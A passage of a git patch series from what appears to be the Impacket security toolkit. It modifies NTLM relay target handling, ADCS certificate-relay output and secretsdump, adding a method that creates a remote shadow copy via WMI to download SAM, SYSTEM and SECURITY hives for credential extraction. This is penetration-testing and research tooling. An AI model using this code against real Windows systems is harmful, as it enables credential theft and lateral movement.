(self.server.server_address[1], + # self.authUser, self.client_address[0], self.target.scheme, self.target.netloc)) + + # self.do_REDIRECT() else: # If it was an anonymous login, send 401 self.do_AUTHHEAD(b'NTLM', proxy=proxy) @@ -470,7 +492,8 @@ def do_relay(self, messageType, token, proxy, content = None): self.server.config.outputFile) if not self.server.config.isADCSAttack: - self.server.config.target.logTarget(self.target, True, self.authUser) + self.server.config.target.registerTarget(self.target, True, self.authUser) + self.do_attack() if self.server.config.disableMulti: # We won't use the redirect trick, closing connection... @@ -487,6 +510,10 @@ def do_relay(self, messageType, token, proxy, content = None): LOG.info("HTTPD(%s): Connection from %s@%s controlled, but there are no more targets left!" % ( self.server.server_address[1], self.authUser, self.client_address[0])) + if self.server.config.keepRelaying: + self.server.config.target.reloadTargets(full_reload=True) + + # Return Multi-Status status code to WebDAV servers if self.command == "PROPFIND": self.send_multi_status(content) diff --git a/impacket/examples/ntlmrelayx/servers/rawrelayserver.py b/impacket/examples/ntlmrelayx/servers/rawrelayserver.py index a534f8204d..e8a0218d0d 100644 --- a/impacket/examples/ntlmrelayx/servers/rawrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/rawrelayserver.py @@ -79,7 +79,7 @@ def handle(self): # Connection failed LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target', self.target.scheme, self.target.netloc) - self.server.config.target.logTarget(self.target) + self.server.config.target.registerTarget(self.target) else: @@ -132,7 +132,7 @@ def handle(self): writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile) - self.server.config.target.logTarget(self.target, True, self.authUser) + self.server.config.target.registerTarget(self.target, True, self.authUser) self.do_attack() diff --git a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py index a61025c883..4be3d95150 100644 --- a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py @@ -148,6 +148,9 @@ def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): if self.target is None: LOG.info('SMBD-%s: Connection from %s controlled, but there are no more targets left!' % (connId, connData['ClientIP'])) + if self.config.keepRelaying: + self.config.target.reloadTargets(full_reload=True) + return [SMB2Error()], None, STATUS_BAD_NETWORK_NAME LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme, @@ -164,7 +167,7 @@ def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) - self.targetprocessor.logTarget(self.target) + self.targetprocessor.registerTarget(self.target, False, self.authUser) else: connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() @@ -299,7 +302,7 @@ def SmbSessionSetup(self, connId, smbServer, recvPacket): except Exception as e: LOG.debug("Exception:", exc_info=True) # Log this target as processed for this client - self.targetprocessor.logTarget(self.target) + self.targetprocessor.registerTarget(self.target, False, self.authUser) # Raise exception again to pass it on to the SMB server raise @@ -352,15 +355,16 @@ def SmbSessionSetup(self, connId, smbServer, recvPacket): if errorCode != STATUS_SUCCESS: #Log this target as processed for this client - self.targetprocessor.logTarget(self.target) LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser)) + self.targetprocessor.registerTarget(self.target, False, self.authUser) client.killConnection() else: # We have a session, create a thread and do whatever we want LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser)) # Log this target as processed for this client + if not self.config.isADCSAttack: - self.targetprocessor.logTarget(self.target, True, self.authUser) + self.targetprocessor.registerTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], @@ -426,6 +430,9 @@ def smb2TreeConnect(self, connId, smbServer, recvPacket): # No more targets to process, just let the victim to fail later LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' % (connId, self.authUser, connData['ClientIP'])) + if self.config.keepRelaying: + self.config.target.reloadTargets(full_reload=True) + return self.origsmb2TreeConnect (connId, smbServer, recvPacket) LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % (connId, self.authUser, @@ -442,7 +449,7 @@ def smb2TreeConnect(self, connId, smbServer, recvPacket): client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) - self.targetprocessor.logTarget(self.target) + self.targetprocessor.registerTarget(self.target, False, self.authUser) else: connData['relayToHost'] = True connData['Authenticated'] = False @@ -498,6 +505,9 @@ def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): if self.target is None: LOG.info('SMBD-%s: Connection from %s controlled, but there are no more targets left!' % (connId, connData['ClientIP'])) + if self.config.keepRelaying: + self.config.target.reloadTargets(full_reload=True) + return [smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE)], None, STATUS_BAD_NETWORK_NAME LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], @@ -520,7 +530,7 @@ def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): except Exception as e: LOG.error( "Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) - self.targetprocessor.logTarget(self.target) + self.targetprocessor.registerTarget(self.target, False, self.authUser) else: connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() @@ -588,7 +598,7 @@ def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): challengeMessage = self.do_ntlm_negotiate(client,token) except Exception: # Log this target as processed for this client - self.targetprocessor.logTarget(self.target) + self.targetprocessor.registerTarget(self.target, False, self.authUser) # Raise exception again to pass it on to the SMB server raise @@ -642,7 +652,7 @@ def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser)) #Log this target as processed for this client - self.targetprocessor.logTarget(self.target) + self.targetprocessor.registerTarget(self.target, False, self.authUser) client.killConnection() @@ -652,7 +662,7 @@ def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser)) # Log this target as processed for this client - self.targetprocessor.logTarget(self.target, True, self.authUser) + self.targetprocessor.registerTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], @@ -717,7 +727,7 @@ def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): packet['ErrorClass'] = errorCode & 0xff #Log this target as processed for this client - self.targetprocessor.logTarget(self.target) + self.targetprocessor.registerTarget(self.target, False, self.authUser) # Finish client's connection #client.killConnection() @@ -729,7 +739,7 @@ def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser)) # Log this target as processed for this client - self.targetprocessor.logTarget(self.target, True, self.authUser) + self.targetprocessor.registerTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) @@ -781,6 +791,9 @@ def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): # No more targets to process, just let the victim to fail later LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' % (connId, self.authUser, connData['ClientIP'])) + if self.config.keepRelaying: + self.config.target.reloadTargets(full_reload=True) + return self.origsmbComTreeConnectAndX (connId, smbServer, recvPacket) LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % ( connId, self.authUser, @@ -797,7 +810,7 @@ def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) - self.targetprocessor.logTarget(self.target) + self.targetprocessor.registerTarget(self.target, False, self.authUser) else: connData['relayToHost'] = True connData['Authenticated'] = False @@ -867,7 +880,8 @@ def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): def init_client(self,extSec): if self.target.scheme.upper() in self.config.protocolClients: client = self.config.protocolClients[self.target.scheme.upper()](self.config, self.target, extendedSecurity = extSec) - client.initConnection() + if not client.initConnection(): + raise Exception('Could not initialize connection') else: raise Exception('Protocol Client for %s not found!' % self.target.scheme) diff --git a/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py b/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py index 4333b5e9a1..201e7cc4eb 100644 --- a/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py @@ -193,7 +193,7 @@ def handle(self): # Connection failed LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target', self.target.scheme, self.target.netloc) - self.server.config.target.logTarget(self.target) + self.server.config.target.registerTarget(self.target) return # Calculate auth @@ -272,7 +272,7 @@ def handle(self): writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile) - self.server.config.target.logTarget(self.target, True, self.authUser) + self.server.config.target.registerTarget(self.target, True, self.authUser) self.do_attack() diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index c66c4a9572..cb31fe8eb7 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -43,6 +43,7 @@ def __init__(self): self.ipv6 = False self.remove_mic = False self.disableMulti = False + self.keepRelaying = False self.command = None @@ -140,6 +141,9 @@ def setAddComputerSMB(self, addComputerSMB): def setDisableMulti(self, disableMulti): self.disableMulti = disableMulti + def setKeepRelaying(self, keepRelaying): + self.keepRelaying = keepRelaying + def setEncoding(self, encoding): self.encoding = encoding diff --git a/impacket/examples/ntlmrelayx/utils/targetsutils.py b/impacket/examples/ntlmrelayx/utils/targetsutils.py index d0e4eb9a01..240a8104e8 100644 --- a/impacket/examples/ntlmrelayx/utils/targetsutils.py +++ b/impacket/examples/ntlmrelayx/utils/targetsutils.py @@ -46,6 +46,7 @@ def __init__(self, targetListFile=None, singleTarget=None, protocolClients=None, # Here we store the attacks that already finished, mostly the ones that have usernames, since the # other ones will never finish. self.finishedAttacks = [] + self.failedAttacks = [] self.protocolClients = protocolClients if targetListFile is None: self.filename = None @@ -59,8 +60,8 @@ def __init__(self, targetListFile=None, singleTarget=None, protocolClients=None, # Randomize the targets based random.shuffle(self.originalTargets) - self.generalCandidates = [x for x in self.originalTargets if x.username is None] - self.namedCandidates = [x for x in self.originalTargets if x.username is not None] + self.reloadTargets(full_reload=True) + @staticmethod def processTarget(target, protocolClients): @@ -93,20 +94,32 @@ def readTargets(self): if len(self.originalTargets) == 0: LOG.critical("Warning: no valid targets specified!") - self.generalCandidates = [x for x in self.originalTargets if x not in self.finishedAttacks and x.username is None] - self.namedCandidates = [x for x in self.originalTargets if x not in self.finishedAttacks and x.username is not None] + self.reloadTargets() + + + def reloadTargets(self, full_reload=False): + if full_reload: + self.finishedAttacks = [] + self.failedAttacks = [] + self.generalCandidates = [x for x in self.originalTargets if x not in self.finishedAttacks and x not in self.failedAttacks and x.username is None] + self.namedCandidates = [x for x in self.originalTargets if x not in self.finishedAttacks and x not in self.failedAttacks and x.username is not None] - def logTarget(self, target, gotRelay = False, gotUsername = None): + def registerTarget(self, target, gotRelay = False, gotUsername = None): # If the target has a username, we can safely remove it from the list. Mission accomplished. - if gotRelay is True: - if target.username is not None: + if target.username is not None: + if gotRelay: self.finishedAttacks.append(target) - elif gotUsername is not None: - # We have data about the username we relayed the connection for, - # for a target that didn't have username specified. - # Let's log it - newTarget = urlparse('%s://%s@%s%s' % (target.scheme, gotUsername.replace('/','\\'), target.netloc, target.path)) + else: + self.failedAttacks.append(target) + elif gotUsername is not None: + # We have data about the username we relayed the connection for, + # for a target that didn't have username specified. + # Let's log it + newTarget = urlparse('%s://%s@%s%s' % (target.scheme, gotUsername.replace('/','\\'), target.netloc, target.path)) + if gotRelay: self.finishedAttacks.append(newTarget) + else: + self.failedAttacks.append(newTarget) def getTarget(self, identity=None, multiRelay=True): # ToDo: We should have another list of failed attempts (with user) and check that inside this method so we do not @@ -130,9 +143,11 @@ def getTarget(self, identity=None, multiRelay=True): if len(self.generalCandidates) > 0: if identity is not None: for target in self.generalCandidates: - tmpTarget = '%s://%s@%s' % (target.scheme, identity.replace('/', '\\'), target.netloc) + tmpTarget = '%s://%s@%s' % (target.scheme, identity.replace('/', '\\'), target.netloc + target.path) match = [x for x in self.finishedAttacks if x.geturl().upper() == tmpTarget.upper()] - if len(match) == 0: + fail_match = [x for x in self.failedAttacks if x.geturl().upper() == tmpTarget.upper()] + print(self.failedAttacks) + if len(match) == 0 and len(fail_match) == 0: self.generalCandidates.remove(target) return target LOG.debug("No more targets for user %s" % identity) @@ -150,8 +165,11 @@ def getTarget(self, identity=None, multiRelay=True): return self.generalCandidates.pop() else: if len(self.originalTargets) > 0: + # Remove credentials from the URLs (otherwise they won't ever match) + finishedAttacks = [an_atk._replace(netloc=an_atk.hostname) for an_atk in self.finishedAttacks] + failedAttacks = [an_atk._replace(netloc=an_atk.hostname) for an_atk in self.failedAttacks] self.generalCandidates = [x for x in self.originalTargets if - x not in self.finishedAttacks and x.username is None] + x not in finishedAttacks and x not in failedAttacks and x.username is None] if len(self.generalCandidates) == 0: if len(self.namedCandidates) == 0: From 24be4fbe5082dc03330a1eea0adeff4e7abc3839 Mon Sep 17 00:00:00 2001 From: adrian manrique <60896207+anadrianmanrique@users.noreply.github.com> Date: Tue, 7 May 2024 10:26:34 -0300 Subject: [PATCH 37/49] Update ChangeLog.md --- ChangeLog.md | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/ChangeLog.md b/ChangeLog.md index 17d7e2ba46..43e60884e0 100644 --- a/ChangeLog.md +++ b/ChangeLog.md @@ -13,6 +13,8 @@ https://github.com/fortra/impacket/commits/master 2. Examples improvements * [secretsdump.py](examples/secretsdump.py): * Double DC Sync performance for DCs supporting SID lookups (@tomspencer) + * Added ability to skip dumping of SAM or SECURITY hives when performing remote operations (@RazzburyPi) + * Added ability to specify users to skip when dumping NTDS (@RazzburyPi) * [ticketer.py](examples/ticketer.py): * Support to create Sapphire tickets (@ShutdownRepo) * [GetUserSPNs.py](examples/GetUserSPNs.py), [getTGT.py](examples/getTGT.py): @@ -21,10 +23,14 @@ https://github.com/fortra/impacket/commits/master * Fix kerberos with remoteHost & add '-target-ip'(@XiaoliChan) * [ntlmrelayx.py](examples/ntlmrelayx.py): * Added the creation of a new machine account through SMB (@BlWasp) + * NTLMRelayX Multirelay fixes for target handling (@alexisbalbachan) + * Writes certificates to file rather than outputting b64 to console (@RazzburyPi) + * Improved ability to continue relaying to ADCS web enrollment endpoint in order to request multiple certificates for different users (@RazzburyPi) * [getST.py](examples/getST.py): * Added -self, -altservice and -u2u for S4U2self abuse, S4U2self+u2u, and service substitution (@ShutdownRepo) * [reg.py](examples/reg.py): * Start remote registry as unprivileged user in reg.py (@dadevel) + * [smbclient.py](examples/smbclient.py): Added ability to provide an output file that the smbclient mini shell will write commands and output to (@RazzburyPi) 3. New examples * [describeTicket.py](examples/describeTicket.py): Ticket describer and decrypter. (@ShutdownRepo) @@ -34,7 +40,7 @@ https://github.com/fortra/impacket/commits/master As always, thanks a lot to all these contributors that make this library better every day (up to now): -@tomspencer @anadrianmanrique @ShutdownRepo @dadevel @gjhami @NtAlexio2 @F-Masood @BlWasp @gabrielg5 @XiaoliChan @omry99 @Wlayzz @themaks +@tomspencer @anadrianmanrique @ShutdownRepo @dadevel @gjhami @NtAlexio2 @F-Masood @BlWasp @gabrielg5 @XiaoliChan @omry99 @Wlayzz @themaks @alexisbalbachan ## Impacket v0.11.0 (Aug 2023): From 4e3e668a4ebf488545d1c666d15867d1410c271c Mon Sep 17 00:00:00 2001 From: adrian manrique <60896207+anadrianmanrique@users.noreply.github.com> Date: Tue, 7 May 2024 10:27:06 -0300 Subject: [PATCH 38/49] Update ChangeLog.md --- ChangeLog.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ChangeLog.md b/ChangeLog.md index 43e60884e0..8c026649d1 100644 --- a/ChangeLog.md +++ b/ChangeLog.md @@ -40,7 +40,7 @@ https://github.com/fortra/impacket/commits/master As always, thanks a lot to all these contributors that make this library better every day (up to now): -@tomspencer @anadrianmanrique @ShutdownRepo @dadevel @gjhami @NtAlexio2 @F-Masood @BlWasp @gabrielg5 @XiaoliChan @omry99 @Wlayzz @themaks @alexisbalbachan +@tomspencer @anadrianmanrique @ShutdownRepo @dadevel @gjhami @NtAlexio2 @F-Masood @BlWasp @gabrielg5 @XiaoliChan @omry99 @Wlayzz @themaks @alexisbalbachan @RazzburyPi ## Impacket v0.11.0 (Aug 2023): From 2a65d8d9f461088b8cf231fcc69c1a60500f0018 Mon Sep 17 00:00:00 2001 From: adrian manrique <60896207+anadrianmanrique@users.noreply.github.com> Date: Thu, 9 May 2024 09:54:04 -0300 Subject: [PATCH 39/49] Update adcsattack.py PKCS#12 clarification and formatting closes #1692 --- .../examples/ntlmrelayx/attacks/httpattacks/adcsattack.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py index 3a94c76f85..e4acf98d95 100644 --- a/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py +++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py @@ -77,7 +77,7 @@ def _run(self): certificate = response.read().decode() certificate_store = self.generate_pfx(key, certificate) - LOG.info("Writing certificate to %s/%s.pfx" % (self.config.lootdir, self.username)) + LOG.info("Writing PKCS#12 certificate to %s/%s.pfx" % (self.config.lootdir, self.username)) try: if not os.path.isdir(self.config.lootdir): os.mkdir(self.config.lootdir) @@ -86,7 +86,7 @@ def _run(self): LOG.info("Certificate successfully written to file") except Exception as e: LOG.info("Unable to write certificate to file, printing B64 of certificate to console instead") - LOG.info("Base64 certificate of user %s: \n%s" % (self.username, base64.b64encode(certificate_store).decode())) + LOG.info("Base64-encoded PKCS#12 certificate of user %s: \n%s" % (self.username, base64.b64encode(certificate_store).decode())) pass if self.config.altName: From e692d9052fcba896f74fc60feb048c4666590003 Mon Sep 17 00:00:00 2001 From: Pedro Gabaldon <34518201+PeterGabaldon@users.noreply.github.com> Date: Mon, 13 May 2024 15:37:52 +0200 Subject: [PATCH 40/49] [SECRETSDUMP] New Dump Method - Shadow Snapshot Method via WMI (#1719) * Starting remote 'Shadow Snapshot Method' * Continue :) * Added options * Logic error hehe :) * Ups :S * Remote Shadow Snapshot Working. Path calculated well. Need to fix download * Download not working. SMB access is protected. Run copy command remotely? Too much noise I think :S * Could not find a way to copy using WMI using GLOBALROOT path. Failing back to RCE; noisy :( * Working * Working * Working * Added debug log * Working without RCE, download from ShadowCopy using SMB * Removed commented code and unused methods * Delete ShadowCopy after downlodaing SAM/SYSTEM/SECURITY --------- Co-authored-by: Pedro Gabaldon --- SAM' | 0 examples/secretsdump.py | 48 ++++++++++++++++++++++- impacket/examples/secretsdump.py | 67 ++++++++++++++++++++++++++++++++ 3 files changed, 113 insertions(+), 2 deletions(-) create mode 100644 SAM' diff --git a/SAM' b/SAM' new file mode 100644 index 0000000000..e69de29bb2 diff --git a/examples/secretsdump.py b/examples/secretsdump.py index 94f7db72c1..b278fb2ca4 100755 --- a/examples/secretsdump.py +++ b/examples/secretsdump.py @@ -113,6 +113,9 @@ def __init__(self, remoteName, username='', password='', domain='', options=None self.__resumeFileName = options.resumefile self.__canProcessSAMLSA = True self.__kdcHost = options.dc_ip + self.__remoteSSMethod = options.use_remoteSSMethod + self.__remoteSSMethodRemoteVolume = options.remoteSS_remote_volume + self.__remoteSSMethodDownloadPath = options.remoteSS_local_path self.__options = options if options.hashes is not None: @@ -168,9 +171,44 @@ def ldapConnect(self): def dump(self): try: - if self.__remoteName.upper() == 'LOCAL' and self.__username == '': + # Almost like LOCAL but create a Shadow Snapshot at target and download SAM, SYSTEM and SECURITY from the SS. + # Then, parse locally + if self.__remoteSSMethod: self.__isRemote = False self.__useVSSMethod = True + try: + self.connect() + except Exception as e: + if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True: + # SMBConnection failed. That might be because there was no way to log into the + # target system. We just have a last resort. Hope we have tickets cached and that they + # will work + logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) + pass + else: + raise + + # TESTING C:\\ + # Should specify Volume with argument + self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost, + self.__ldapConnection) + self.__remoteOps.setExecMethod(self.__options.exec_method) + sam_path, system_path, security_path = self.__remoteOps.createSSandDownload(self.__remoteSSMethodRemoteVolume, + self.__remoteSSMethodDownloadPath) + self.__samHive = sam_path + self.__systemHive = system_path + self.__securityHive = security_path + + localOperations = LocalOperations(self.__systemHive) + bootKey = localOperations.getBootKey() + if self.__ntdsFile is not None: + # Let's grab target's configuration about LM Hashes storage + self.__noLMHash = localOperations.checkNoLMHashPolicy() + + elif self.__remoteName.upper() == 'LOCAL' and self.__username == '': + self.__isRemote = False + self.__useVSSMethod = True + if self.__systemHive: localOperations = LocalOperations(self.__systemHive) bootKey = localOperations.getBootKey() @@ -371,13 +409,19 @@ def cleanup(self): parser.add_argument('-outputfile', action='store', help='base output filename. Extensions will be added for sam, secrets, cached and ntds') parser.add_argument('-use-vss', action='store_true', default=False, - help='Use the VSS method instead of default DRSUAPI') + help='Use the NTDSUTIL VSS method instead of default DRSUAPI') parser.add_argument('-rodcNo', action='store', type=int, help='Number of the RODC krbtgt account (only avaiable for Kerb-Key-List approach)') parser.add_argument('-rodcKey', action='store', help='AES key of the Read Only Domain Controller (only avaiable for Kerb-Key-List approach)') parser.add_argument('-use-keylist', action='store_true', default=False, help='Use the Kerb-Key-List method instead of default DRSUAPI') parser.add_argument('-exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec', help='Remote exec ' 'method to use at target (only when using -use-vss). Default: smbexec') + parser.add_argument('-use-remoteSSMethod', action='store_true', + help='Remotely create Shadow Snapshot via WMI and download SAM, SYSTEM and SECURITY from it, the parse locally') + parser.add_argument('-remoteSS-remote-volume', action='store', default='C:\\', + help='Remote Volume to perform the Shadow Snapshot and download SAM, SYSTEM and SECURITY') + parser.add_argument('-remoteSS-local-path', action='store', default='.', + help='Path where download SAM, SYSTEM and SECURITY from Shadow Snapshot. It defaults to current path') group = parser.add_argument_group('display options') group.add_argument('-just-dc-user', action='store', metavar='USERNAME', diff --git a/impacket/examples/secretsdump.py b/impacket/examples/secretsdump.py index 68add5e868..a3f2af0609 100644 --- a/impacket/examples/secretsdump.py +++ b/impacket/examples/secretsdump.py @@ -777,6 +777,10 @@ def getServiceAccount(self, serviceName): LOG.error(e) return None + def __getSCManagerHandle(self): + ans = scmr.hROpenSCManagerW(self.__scmr) + self.__scManagerHandle = ans['lpScHandle'] + def __checkServiceStatus(self): # Open SC Manager ans = scmr.hROpenSCManagerW(self.__scmr) @@ -1053,6 +1057,41 @@ def __wmiExec(self, command): dcom.disconnect() + def __wmiCreateShadow(self, volume): + username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials() + dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey, + oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) + iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) + iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) + iWbemLevel1Login.RemRelease() + + win32ShadowCopy,_ = iWbemServices.GetObject('Win32_ShadowCopy') + LOG.debug('Trying to create SS remotely via WMI') + result = win32ShadowCopy.Create(volume, 'ClientAccessible') + + shadowId = result.ShadowID + LOG.debug('Got ShadowID %s' % shadowId) + + dcom.disconnect() + + return shadowId + + def __wmiDeleteShadow(self, ssID): + username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials() + dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey, + oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) + iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) + iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) + iWbemLevel1Login.RemRelease() + + wmiPath = 'Win32_ShadowCopy.ID="%s"' % ssID + LOG.debug('Trying to delete ShadowCopy') + iWbemServices.DeleteInstance(wmiPath) + + dcom.disconnect() + def __executeRemote(self, data): self.__tmpServiceName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \ @@ -1196,6 +1235,34 @@ def saveNTDS(self): return remoteFileName + def createSSandDownload(self, volume, localPath): + LOG.info('Creating SS') + ssID = self.__wmiCreateShadow(volume) + LOG.info('Getting SMB equivalent PATH to access remotely the SS') + gmtSMBPath = self.__smbConnection.listSnapshots(self.__smbConnection.connectTree('ADMIN$'), '/')[0] + LOG.debug('Got SMB GMT Path: %s' % gmtSMBPath) + LOG.debug('Performed SS via WMI and got info') + + if self.__execMethod == 'smbexec': + self.__connectSvcCtl() + self.__getSCManagerHandle() + + # Array of tuples of (local path to download, remote path of file) + paths = [('%s/SAM' % localPath, '%s\\System32\\config\\SAM' % gmtSMBPath), + ('%s/SYSTEM' % localPath, '%s\\System32\\config\\SYSTEM' % gmtSMBPath), + ('%s/SECURITY' % localPath, '%s\\System32\\config\\SECURITY' % gmtSMBPath)] + + for p in paths: + with open(p[0], 'wb') as local_file: + self.__smbConnection.getFile('ADMIN$', p[1], local_file.write) + + # Return a list of the local paths where SAM, SYSTEM and SECURITY were downloaded + LOG.debug('Trying to delete ShadowSnapshot') + self.__wmiDeleteShadow(ssID) + + LOG.debug('Downloaded SAM, SYSTEM and SECURITY from Shadow Snapshot. Dumping...') + return list(zip(*paths))[0] + class CryptoCommon: # Common crypto stuff used over different classes def deriveKey(self, baseKey): From f23c0b9627fb13b87d549edc7bcd2e680c9d45b0 Mon Sep 17 00:00:00 2001 From: adrian manrique <60896207+anadrianmanrique@users.noreply.github.com> Date: Tue, 14 May 2024 09:41:20 -0300 Subject: [PATCH 41/49] Delete SAM' --- SAM' | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 SAM' diff --git a/SAM' b/SAM' deleted file mode 100644 index e69de29bb2..0000000000 From 5bccf8dcb3aa8801cbcf5f66537a3b45a7901d08 Mon Sep 17 00:00:00 2001 From: Adam Hassan <34610663+Adamkadaban@users.noreply.github.com> Date: Thu, 16 May 2024 06:48:46 -0700 Subject: [PATCH 42/49] Add UserResetInformation to samr.py in USER_INFORMATION_CLASS (#1743) Based on https://github.com/gtworek/PSBits/blob/master/Misc2/ReadResetData.c --- impacket/dcerpc/v5/samr.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/impacket/dcerpc/v5/samr.py b/impacket/dcerpc/v5/samr.py index e28c30865f..73b181f5b7 100644 --- a/impacket/dcerpc/v5/samr.py +++ b/impacket/dcerpc/v5/samr.py @@ -1067,6 +1067,12 @@ class SAMPR_USER_INTERNAL5_INFORMATION_NEW(NDRSTRUCT): ('PasswordExpired', UCHAR), ) +class SAMPR_USER_RESET_INFORMATION(NDRSTRUCT): + structure = ( + ('ExtendedWhichFields', ULONG), + ('ResetData', RPC_UNICODE_STRING), + ) + # 2.2.7.28 USER_INFORMATION_CLASS class USER_INFORMATION_CLASS(NDRENUM): class enumItems(Enum): @@ -1093,6 +1099,7 @@ class enumItems(Enum): UserInternal5Information = 24 UserInternal4InformationNew = 25 UserInternal5InformationNew = 26 + UserResetInformation = 30 # 2.2.7.29 SAMPR_USER_INFO_BUFFER class SAMPR_USER_INFO_BUFFER(NDRUNION): @@ -1120,6 +1127,7 @@ class SAMPR_USER_INFO_BUFFER(NDRUNION): USER_INFORMATION_CLASS.UserInternal5Information : ('Internal5', SAMPR_USER_INTERNAL5_INFORMATION), USER_INFORMATION_CLASS.UserInternal4InformationNew: ('Internal4New', SAMPR_USER_INTERNAL4_INFORMATION_NEW), USER_INFORMATION_CLASS.UserInternal5InformationNew: ('Internal5New', SAMPR_USER_INTERNAL5_INFORMATION_NEW), + USER_INFORMATION_CLASS.UserResetInformation : ('Reset', SAMPR_USER_RESET_INFORMATION), } class PSAMPR_USER_INFO_BUFFER(NDRPOINTER): From eb67ec5e70a4b5c199d6f4afe8b5009b9a87097c Mon Sep 17 00:00:00 2001 From: adrian manrique <60896207+anadrianmanrique@users.noreply.github.com> Date: Fri, 17 May 2024 09:15:19 -0300 Subject: [PATCH 43/49] updated copyright notice --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index 30146fc1b5..ba98b2fe6e 100755 --- a/examples/getST.py +++ 